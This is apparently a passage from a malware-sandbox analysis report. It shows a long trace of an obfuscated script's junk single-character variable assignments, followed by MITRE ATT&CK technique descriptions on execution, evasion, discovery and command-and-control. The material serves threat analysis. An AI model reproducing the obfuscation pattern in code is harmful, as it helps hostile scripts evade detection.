499	dcqysg = "q";
500	dcqysg = "I";
501	dcqysg = "M";
502	dcqysg = "l";
503	dcqysg = "s";
504	dcqysg = "F";
505	dcqysg = "f";
506	dcqysg = "i";
507	dcqysg = "Q";
508	dcqysg = "m";
509	dcqysg = "T";
510	dcqysg = "D";
511	dcqysg = "b";
512	dcqysg = "a";
513	dcqysg = "C";
514	dcqysg = "A";
515	dcqysg = "i";
516	dcqysg = "T";
517	dcqysg = "b";
518	dcqysg = "K";
519	dcqysg = ":";
520	wsruzmd = "I";
521	wsruzmd = "I";
522	wsruzmd = "X";
523	wsruzmd = "Z";
524	wsruzmd = "E";
525	wsruzmd = "c";
526	wsruzmd = "B";
527	wsruzmd = "H";
528	wsruzmd = "c";
529	wsruzmd = "M";
530	wsruzmd = "R";
531	wsruzmd = "T";
532	wsruzmd = "K";
533	wsruzmd = "z";
534	wsruzmd = "t";
535	wsruzmd = "J";
536	wsruzmd = "y";
537	wsruzmd = "U";
538	wsruzmd = "F";
539	wsruzmd = "a";
540	wsruzmd = "N";
541	wsruzmd = "t";
542	mjgyx = "m";
543	mjgyx = "o";
544	mjgyx = "b";
545	mjgyx = "F";
546	mjgyx = "Q";
547	mjgyx = "x";
548	mjgyx = "T";
549	mjgyx = "k";
550	mjgyx = "y";
551	mjgyx = "N";
552	mjgyx = "C";
553	mjgyx = "Y";
554	mjgyx = "J";
555	mjgyx = "D";
556	mjgyx = "S";
557	mjgyx = "o";
558	mjgyx = "B";
559	mjgyx = "w";
560	mjgyx = "s";
561	mjgyx = "S";
562	mjgyx = "z";
563	mjgyx = "o";
564	mjgyx = "p";
565	mjgyx = "T";
566	mjgyx = "e";
567	mjgyx = "a";
568	mjgyx = "k";
569	mjgyx = "u";
570	mjgyx = "e";
571	mjgyx = "m";
572	mjgyx = "g";
573	mjgyx = "d";
574	mjgyx = "p";
575	mjgyx = "v";
576	mjgyx = "x";
577	mjgyx = "R";
578	mjgyx = "Z";
579	mjgyx = "A";
580	mjgyx = "P";
581	mjgyx = "o";
582	mjgyx = "q";
583	mjgyx = "p";
584	mjgyx = "F";
585	mjgyx = "T";
586	kzbtim = "p";
587	kzbtim = "h";
588	kzbtim = "E";
589	kzbtim = "O";
590	kzbtim = "H";
591	kzbtim = "p";
592	kzbtim = "h";
593	kzbtim = "K";
594	kzbtim = "d";
595	kzbtim = "f";
596	kzbtim = "r";
597	kzbtim = "m";
598	kzbtim = "u";
599	kzbtim = "O";
600	kzbtim = "V";
601	kzbtim = "b";
602	kzbtim = "a";
603	kzbtim = "m";
604	kzbtim = "U";
605	kzbtim = "b";
606	kzbtim = "J";
607	kzbtim = "F";
608	ikdby = "h";
609	ikdby = "F";
610	ikdby = "v";
611	ikdby = "m";
612	ikdby = "K";
613	ikdby = "j";
614	ikdby = "o";
615	ikdby = "i";
616	ikdby = "e";
617	ikdby = "U";
618	ikdby = "G";
619	ikdby = "w";
620	ikdby = "H";
621	ikdby = "B";
622	ikdby = "I";
623	ikdby = "S";
624	ikdby = "o";
625	ikdby = "m";
626	czzdee = "b";
627	czzdee = "V";
628	czzdee = "J";
629	czzdee = "G";
630	czzdee = "8";
631	gkhjzaz = "P";
632	gkhjzaz = "W";
633	gkhjzaz = "L";
634	gkhjzaz = "J";
635	gkhjzaz = "r";
636	gkhjzaz = "V";
637	gkhjzaz = "c";
638	gkhjzaz = "q";
639	gkhjzaz = "M";
640	gkhjzaz = "T";
641	gkhjzaz = "a";
642	gkhjzaz = "a";
643	gkhjzaz = "F";
644	gkhjzaz = "w";
645	gkhjzaz = "Z";
646	gkhjzaz = "h";
647	gkhjzaz = "r";
648	kkjfp = "c";
649	kkjfp = "A";
650	kkjfp = "m";
651	kkjfp = "b";
652	kkjfp = "G";
653	kkjfp = "Y";
654	kkjfp = "I";
655	kkjfp = "O";
656	kkjfp = "A";
657	kkjfp = "H";
658	kkjfp = "l";
659	kkjfp = "x";
660	kkjfp = "h";
661	kkjfp = "z";
662	kkjfp = "S";
663	kkjfp = "V";
664	kkjfp = "r";
665	kkjfp = "K";
666	kkjfp = "Z";
667	kkjfp = "O";
668	kkjfp = "e";
669	kkjfp = "g";
670	kkjfp = "A";
671	kkjfp = "B";
672	kkjfp = "K";
673	kkjfp = "U";
674	kkjfp = "v";
675	kkjfp = "h";
676	kkjfp = "t";
677	kkjfp = "E";
678	kkjfp = "t";
679	kkjfp = "b";
680	kkjfp = "n";
681	kkjfp = "p";
682	kkjfp = "L";
683	kkjfp = "Y";
684	kkjfp = "x";
685	kkjfp = "C";
686	wjlqvjmq = "C";
687	wjlqvjmq = "d";
688	wjlqvjmq = "a";
689	wjlqvjmq = "k";
690	wjlqvjmq = "Q";
691	wjlqvjmq = "e";
692	wjlqvjmq = "i";
693	wjlqvjmq = "u";
694	wjlqvjmq = "k";
695	wjlqvjmq = "f";
696	wjlqvjmq = "N";
697	wjlqvjmq = "x";
698	wjlqvjmq = "C";
699	wjlqvjmq = "S";
700	wjlqvjmq = "M";
701	wjlqvjmq = "q";
702	wjlqvjmq = "W";
703	wjlqvjmq = "z";
704	wjlqvjmq = "P";
705	wjlqvjmq = "D";
706	wjlqvjmq = "a";
707	wjlqvjmq = "V";
708	wjlqvjmq = "x";
709	wjlqvjmq = "T";
710	wjlqvjmq = "v";
711	wjlqvjmq = "U";
712	wjlqvjmq = "I";
713	wjlqvjmq = "E";
714	wjlqvjmq = "A";
715	wjlqvjmq = "u";
716	wjlqvjmq = "R";
717	wjlqvjmq = "w";
718	wjlqvjmq = "d";
719	wjlqvjmq = "c";
720	wjlqvjmq = "D";
721	wjlqvjmq = "y";
722	wjlqvjmq = "A";
723	wjlqvjmq = "U";
724	wjlqvjmq = "F";
725	wjlqvjmq = "E";
726	wjlqvjmq = "U";
727	wjlqvjmq = "E";
728	xthsa = "R";
729	xthsa = "t";
730	xthsa = "f";
731	xthsa = "i";
732	xthsa = "w";
733	uqocrha = "o";
734	uqocrha = "j";
735	uqocrha = "u";
736	uqocrha = "N";
737	uqocrha = "I";
738	uqocrha = "n";
739	uqocrha = "U";
740	uqocrha = "G";
741	uqocrha = "v";
742	uqocrha = "X";
743	uqocrha = "o";
744	fomjixgs = "X";
745	fomjixgs = "c";
746	fomjixgs = "h";
747	fomjixgs = "b";
748	fomjixgs = "r";
749	fomjixgs = "c";
750	fomjixgs = "E";
751	fomjixgs = "c";
752	fomjixgs = "x";
753	fomjixgs = "V";
754	fomjixgs = "j";
755	fomjixgs = "S";
756	fomjixgs = "r";
757	fomjixgs = "H";
758	fomjixgs = "Z";
759	fomjixgs = "b";
760	fomjixgs = "X";
761	fomjixgs = "i";
762	fomjixgs = "q";
763	fomjixgs = "q";
764	fomjixgs = "j";
765	fomjixgs = "J";
766	fomjixgs = "I";
767	fomjixgs = "Z";
768	fomjixgs = "s";
769	fomjixgs = "B";
770	fomjixgs = "Z";
771	fomjixgs = "P";
772	fomjixgs = "k";
773	fomjixgs = "q";
774	fomjixgs = "j";
775	fomjixgs = "u";
776	fomjixgs = "P";
777	fomjixgs = "N";
778	fomjixgs = "a";
779	fomjixgs = "s";
780	fomjixgs = "e";
781	fomjixgs = "F";
782	fomjixgs = "X";
783	fomjixgs = "Y";
784	fomjixgs = "X";
785	fomjixgs = "d";
786	odryvud = "s";
787	odryvud = "J";
788	odryvud = "i";
789	odryvud = "n";
790	odryvud = "O";
791	odryvud = "G";
792	odryvud = "Z";
793	odryvud = "H";
794	odryvud = "U";
795	odryvud = "g";
796	odryvud = "S";
797	odryvud = "X";
798	odryvud = "k";
799	odryvud = "a";
800	odryvud = "a";
801	arljav = "F";
802	arljav = "v";
803	arljav = "t";
804	arljav = "n";
805	kwgor = "w";
806	kwgor = "I";
807	kwgor = "B";
808	kwgor = "R";
809	kwgor = "b";
810	kwgor = "s";
811	kwgor = "R";
812	kwgor = "E";
813	kwgor = "E";
814	kwgor = "Y";
815	kwgor = "P";
816	kwgor = "d";
817	kwgor = "h";
818	kwgor = "j";
819	kwgor = "M";
820	kwgor = "W";
821	kwgor = "W";
822	kwgor = "y";
823	kwgor = "M";
824	kwgor = "e";
825	kwgor = "p";
826	kwgor = "b";
827	xmfiaurj = "C";
828	xmfiaurj = "n";
829	xmfiaurj = "h";
830	vsnbe = "n";
831	vsnbe = "I";
832	vsnbe = "X";
833	vsnbe = "E";
834	vsnbe = "w";
835	vsnbe = "d";
836	vsnbe = "S";
837	vsnbe = "e";
838	vsnbe = "u";
839	vsnbe = "f";
840	vsnbe = "N";
841	vsnbe = "P";
842	vsnbe = "L";
843	vsnbe = "s";
844	vsnbe = "L";
845	vsnbe = "C";
846	vsnbe = "x";
847	vsnbe = "u";
848	vsnbe = "g";
849	vsnbe = "b";
850	vsnbe = "x";
851	vsnbe = "O";
852	vsnbe = "L";
853	vsnbe = "s";
854	alrawmjd = "J";
855	alrawmjd = "w";
856	alrawmjd = "d";
857	alrawmjd = "b";
858	alrawmjd = "h";
859	alrawmjd = "T";
860	alrawmjd = "j";
861	alrawmjd = "t";
862	alrawmjd = "k";
863	alrawmjd = "N";
864	alrawmjd = "p";
865	alrawmjd = "M";
866	alrawmjd = "K";
867	alrawmjd = "G";
868	alrawmjd = "w";
869	alrawmjd = "W";
870	alrawmjd = "X";
871	alrawmjd = "V";
872	alrawmjd = "o";
873	alrawmjd = "L";
874	alrawmjd = "V";
875	alrawmjd = "Z";
876	alrawmjd = "W";
877	alrawmjd = "M";
878	alrawmjd = "C";
879	alrawmjd = "h";
880	alrawmjd = "z";
881	alrawmjd = "E";
882	alrawmjd = "Q";
883	alrawmjd = "x";
884	alrawmjd = "x";
885	alrawmjd = "k";
886	alrawmjd = "q";
887	alrawmjd = "Z";
888	alrawmjd = "b";
889	alrawmjd = "I";
890	alrawmjd = "c";
891	alrawmjd = "L";
892	alrawmjd = "a";
893	alrawmjd = "Y";
894	alrawmjd = "W";
895	alrawmjd = "I";
896	alrawmjd = "T";
897	alrawmjd = "O";
898	qfqsd = "z";
899	qfqsd = "F";
900	qfqsd = "D";
901	qfqsd = "j";
902	qfqsd = "E";
903	qfqsd = "n";
904	qfqsd = "k";
905	qfqsd = "n";
906	qfqsd = "K";
907	qfqsd = "Y";
908	qfqsd = "P";
909	cgrib = "N";
910	cgrib = "z";
911	cgrib = "V";
912	cgrib = "n";
913	cgrib = "T";
914	cgrib = "L";
915	cgrib = "f";
916	cgrib = "c";
917	cgrib = "L";
918	cgrib = "Z";
919	cgrib = "z";
920	cgrib = "O";
921	cgrib = "y";
922	cgrib = "f";
923	cgrib = "Z";
924	cgrib = "t";
925	cgrib = "x";
926	cgrib = "C";
927	cgrib = "Z";
928	cgrib = "S";
929	cgrib = "a";
930	cgrib = "S";
931	cgrib = "E";
932	cgrib = "M";
933	cgrib = "Z";
934	cgrib = "Q";
935	cgrib = "o";
936	cgrib = "a";
937	cgrib = "H";
938	cgrib = "Y";
939	tzgfkbh = "Q";
940	tzgfkbh = "P";
941	tzgfkbh = "o";
942	tzgfkbh = "r";
943	tzgfkbh = "B";
944	tzgfkbh = "p";
945	tzgfkbh = "C";
946	tzgfkbh = "Q";
947	tzgfkbh = "D";
948	tzgfkbh = "M";
949	tzgfkbh = "h";
950	tzgfkbh = "T";
951	tzgfkbh = "E";
952	tzgfkbh = "q";
953	tzgfkbh = "I";
954	tzgfkbh = "l";
955	tzgfkbh = "J";
956	tzgfkbh = "G";
957	tzgfkbh = "L";
958	tzgfkbh = "c";
959	tzgfkbh = "A";
960	tzgfkbh = "Q";
961	tzgfkbh = "K";
962	tzgfkbh = "g";
963	tzgfkbh = "g";
964	tzgfkbh = "L";
965	tzgfkbh = "O";
966	tzgfkbh = "k";
967	tzgfkbh = "z";
968	tzgfkbh = "c";
969	uligjxgmp = "K";
970	uligjxgmp = "Y";
971	uligjxgmp = "r";
972	uligjxgmp = "T";
973	uligjxgmp = "x";
974	uligjxgmp = "W";
975	uligjxgmp = "z";
976	uligjxgmp = "Z";
977	uligjxgmp = "M";
978	uligjxgmp = "C";
979	uligjxgmp = "d";
980	uligjxgmp = "B";
981	uligjxgmp = "a";
982	uligjxgmp = "S";
983	uligjxgmp = "Z";
984	uligjxgmp = "C";
985	uligjxgmp = "J";
986	uligjxgmp = "w";
987	uligjxgmp = "N";
988	uligjxgmp = "h";
989	uligjxgmp = "u";
990	uligjxgmp = "x";
991	uligjxgmp = "v";
992	uligjxgmp = "b";
993	uligjxgmp = "T";
994	uligjxgmp = "N";
995	uligjxgmp = "x";
996	uligjxgmp = "y";
997	uligjxgmp = "b";
998	uligjxgmp = "Z";
999	uligjxgmp = "A";
1000	uligjxgmp = "g";
1001	uligjxgmp = "w";
1002	uligjxgmp = "t";
1003	uligjxgmp = "W";
1004	uligjxgmp = "T";
1005	uligjxgmp = "R";
1006	uligjxgmp = "j";
1007	wamgeu = "e";
1008	wamgeu = "q";
1009	wamgeu = "w";
1010	wamgeu = "y";
1011	wamgeu = "C";
1012	wamgeu = "S";
1013	wamgeu = "Q";
1014	wamgeu = "V";
1015	wamgeu = "U";
1016	wamgeu = "P";
1017	wamgeu = "u";
1018	wamgeu = "W";
1019	wamgeu = "w";
1020	wamgeu = "O";
1021	wamgeu = "I";
1022	cwgeunr = "Y";
1023	cwgeunr = "F";
1024	cwgeunr = "V";
1025	cwgeunr = "D";
1026	cwgeunr = "B";
1027	cwgeunr = "V";
1028	cwgeunr = "Q";
1029	cwgeunr = "S";
1030	cwgeunr = "g";
1031	cwgeunr = "a";
1032	cwgeunr = "k";
1033	cwgeunr = "s";
1034	cwgeunr = "V";
1035	cwgeunr = "w";
1036	cwgeunr = "M";
1037	cwgeunr = "X";
1038	cwgeunr = "B";
1039	cwgeunr = "z";
1040	cwgeunr = "J";
1041	cwgeunr = "e";
1042	cwgeunr = "x";
1043	cwgeunr = "s";
1044	cwgeunr = "f";
1045	cwgeunr = "Q";
1046	cwgeunr = "h";
1047	cwgeunr = "O";
1048	cwgeunr = "j";
1049	cwgeunr = "H";
1050	cwgeunr = "e";
1051	cwgeunr = "B";
1052	cwgeunr = "w";
1053	cwgeunr = "g";
1054	zyaunh = "i";
1055	zyaunh = "R";
1056	zyaunh = "j";
1057	zyaunh = "Q";
1058	zyaunh = "V";
1059	zyaunh = "c";
1060	zyaunh = "l";
1061	zyaunh = "E";
1062	zyaunh = "J";
1063	zyaunh = "Y";
1064	zyaunh = "J";
1065	zyaunh = "v";
1066	zyaunh = "m";
1067	zyaunh = "L";
1068	megfkl = "B";
1069	megfkl = "E";
1070	megfkl = "h";
1071	megfkl = "K";
1072	megfkl = "D";
1073	megfkl = "p";
1074	megfkl = "H";
1075	megfkl = "B";
1076	megfkl = "i";
1077	megfkl = "k";
1078	megfkl = "d";
1079	megfkl = "S";
1080	megfkl = "m";
1081	megfkl = "E";
1082	megfkl = "b";
1083	megfkl = "i";
1084	megfkl = "X";
1085	megfkl = "B";
1086	megfkl = "Q";
1087	megfkl = "e";
1088	megfkl = "R";
1089	megfkl = "f";
1090	megfkl = "x";
1091	megfkl = "h";
1092	megfkl = "E";
1093	megfkl = "Z";
1094	megfkl = "T";
1095	megfkl = "j";
1096	megfkl = "C";
1097	megfkl = "a";
1098	megfkl = "l";
1099	megfkl = "k";
1100	megfkl = "Q";
1101	megfkl = "R";
1102	megfkl = "w";
1103	megfkl = "k";
1104	megfkl = "v";
1105	cfnemvxk = "w";
1106	cfnemvxk = "f";
1107	cfnemvxk = "o";
1108	cfnemvxk = "M";
1109	cfnemvxk = "I";
1110	cfnemvxk = "Q";
1111	cfnemvxk = "E";
1112	cfnemvxk = "A";
1113	cfnemvxk = "e";
1114	cfnemvxk = "Q";
1115	cfnemvxk = "v";
1116	cfnemvxk = "Q";
1117	cfnemvxk = "J";
1118	cfnemvxk = "l";
1119	cfnemvxk = "q";
1120	cfnemvxk = "K";
1121	cfnemvxk = "R";
1122	cfnemvxk = "f";
1123	cfnemvxk = "O";
1124	cfnemvxk = "n";
1125	cfnemvxk = "x";
1126	cfnemvxk = "H";
1127	cfnemvxk = "R";
1128	cfnemvxk = "&";
1129	qihfgz = "X";
1130	qihfgz = "X";
1131	qihfgz = "k";
1132	nwkapjlqs = "F";
1133	nwkapjlqs = "Y";
1134	nwkapjlqs = "R";
1135	nwkapjlqs = "G";
1136	nwkapjlqs = "s";
1137	nwkapjlqs = "G";
1138	nwkapjlqs = "x";
1139	nwkapjlqs = "q";
1140	nwkapjlqs = "_";
1141	buoyrhwai = "M";
1142	buoyrhwai = "P";
1143	buoyrhwai = "E";
1144	buoyrhwai = "k";
1145	buoyrhwai = "H";
1146	buoyrhwai = "I";
1147	buoyrhwai = "H";
1148	buoyrhwai = "J";
1149	buoyrhwai = "p";
1150	buoyrhwai = "Z";
1151	buoyrhwai = "Z";
1152	buoyrhwai = "y";
1153	buoyrhwai = "w";
1154	buoyrhwai = "g";
1155	buoyrhwai = "j";
1156	buoyrhwai = "p";
1157	buoyrhwai = "y";
1158	buoyrhwai = "p";
1159	buoyrhwai = "w";
1160	buoyrhwai = "w";
1161	buoyrhwai = "p";
1162	buoyrhwai = "S";
1163	buoyrhwai = "T";
1164	buoyrhwai = "x";
1165	buoyrhwai = "Z";
1166	buoyrhwai = "F";
1167	buoyrhwai = "H";
1168	buoyrhwai = "W";
1169	omzrfnsn = "q";
1170	omzrfnsn = "D";
1171	omzrfnsn = "Q";
1172	omzrfnsn = "Q";
1173	omzrfnsn = "J";
1174	omzrfnsn = "A";
1175	omzrfnsn = "Q";
1176	omzrfnsn = "Y";
1177	omzrfnsn = "V";
1178	omzrfnsn = "D";
1179	omzrfnsn = "z";
1180	omzrfnsn = "c";
1181	omzrfnsn = "D";
1182	omzrfnsn = "d";
1183	omzrfnsn = "R";
1184	omzrfnsn = "x";
1185	omzrfnsn = "V";
1186	omzrfnsn = "i";
1187	omzrfnsn = "U";
1188	omzrfnsn = "J";
1189	omzrfnsn = "x";
1190	omzrfnsn = "V";
1191	omzrfnsn = "O";
1192	omzrfnsn = "q";
1193	omzrfnsn = "W";
1194	omzrfnsn = "t";
1195	omzrfnsn = "z";
1196	omzrfnsn = "C";
1197	omzrfnsn = "a";
1198	omzrfnsn = "W";
1199	omzrfnsn = "E";
1200	omzrfnsn = "z";
1201	omzrfnsn = "h";
1202	omzrfnsn = "\"";
1203	zavqqhbj = "c";
1204	zavqqhbj = "z";
1205	zavqqhbj = "a";
1206	zavqqhbj = "a";
1207	zavqqhbj = "c";
1208	zavqqhbj = "4";
1209	hxeai = "h";
1210	hxeai = "S";
1211	hxeai = "T";
1212	hxeai = "s";
1213	hxeai = "q";
1214	hxeai = "S";
1215	hxeai = "z";
1216	hxeai = "y";
1217	hxeai = "p";
1218	hxeai = "f";
1219	hxeai = "C";
1220	hxeai = "5";
1221	iixtyspb = "d";
1222	iixtyspb = "i";
1223	iixtyspb = "N";
1224	iixtyspb = "c";
1225	iixtyspb = "D";
1226	iixtyspb = "n";
1227	iixtyspb = "L";
1228	iixtyspb = "L";
1229	iixtyspb = "A";
1230	iixtyspb = "L";
1231	iixtyspb = "X";
1232	iixtyspb = "e";
1233	iixtyspb = "J";
1234	iixtyspb = "Z";
1235	iixtyspb = "o";
1236	iixtyspb = "Y";
1237	iixtyspb = "y";
1238	iixtyspb = "S";
1239	iixtyspb = "a";
1240	iixtyspb = "t";
1241	iixtyspb = "H";
1242	iixtyspb = "z";
1243	iixtyspb = "m";
1244	iixtyspb = "T";
1245	iixtyspb = "u";
1246	iixtyspb = "M";
1247	iixtyspb = "Y";
1248	iixtyspb = "u";
1249	iixtyspb = "t";
1250	iixtyspb = "H";
1251	iixtyspb = "G";
1252	iixtyspb = "Y";
1253	iixtyspb = "F";
1254	iixtyspb = "Z";
1255	iixtyspb = "m";
1256	iixtyspb = "x";
1257	iixtyspb = "L";
1258	iixtyspb = "X";
1259	iixtyspb = "o";
1260	iixtyspb = "6";
1261	zmmwfgxw = "X";
1262	zmmwfgxw = "Z";
1263	zmmwfgxw = "t";
1264	zmmwfgxw = "T";
1265	zmmwfgxw = "S";
1266	pvxlrooqn = "E";
1267	pvxlrooqn = "x";
1268	pvxlrooqn = "j";
1269	pvxlrooqn = "d";
1270	pvxlrooqn = " ";
1271	upiktx = "F";
1272	upiktx = "M";
1273	upiktx = "r";
1274	upiktx = "l";
1275	upiktx = "y";
1276	upiktx = "j";
1277	upiktx = "I";
1278	upiktx = "N";
1279	upiktx = "L";
1280	upiktx = "F";
1281	upiktx = "a";
1282	upiktx = "F";
1283	upiktx = "m";
1284	upiktx = "a";
1285	upiktx = "k";
1286	upiktx = "T";
1287	upiktx = "K";
1288	upiktx = "J";
1289	upiktx = "Y";
1290	upiktx = "N";
1291	upiktx = "z";
1292	upiktx = "u";
1293	upiktx = "q";
1294	upiktx = "I";
1295	upiktx = "L";
1296	upiktx = "A";
1297	upiktx = "j";
1298	upiktx = "v";
1299	upiktx = "O";
1300	upiktx = "E";
1301	upiktx = "1";
1302	ilfji = "I";
1303	ilfji = "T";
1304	ilfji = "v";
1305	ilfji = "b";
1306	ilfji = "r";
1307	ilfji = "W";
1308	ilfji = "e";
1309	ilfji = "r";
1310	ilfji = "q";
1311	ilfji = "J";
1312	ilfji = "n";
1313	ilfji = "c";
1314	ilfji = "C";
1315	ilfji = "F";
1316	ilfji = "y";
1317	ilfji = "L";
1318	ilfji = "K";
1319	ilfji = "w";
1320	ilfji = "h";
1321	ilfji = "s";
1322	ilfji = "g";
1323	ilfji = "n";
1324	ilfji = "o";
1325	ilfji = "s";
1326	ilfji = "f";
1327	ilfji = "X";
1328	ilfji = "d";
1329	ilfji = "B";
1330	ilfji = "q";
1331	ilfji = "T";
1332	ilfji = "-";
1333	xyvqchjjn ( );	xyvqchjjn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

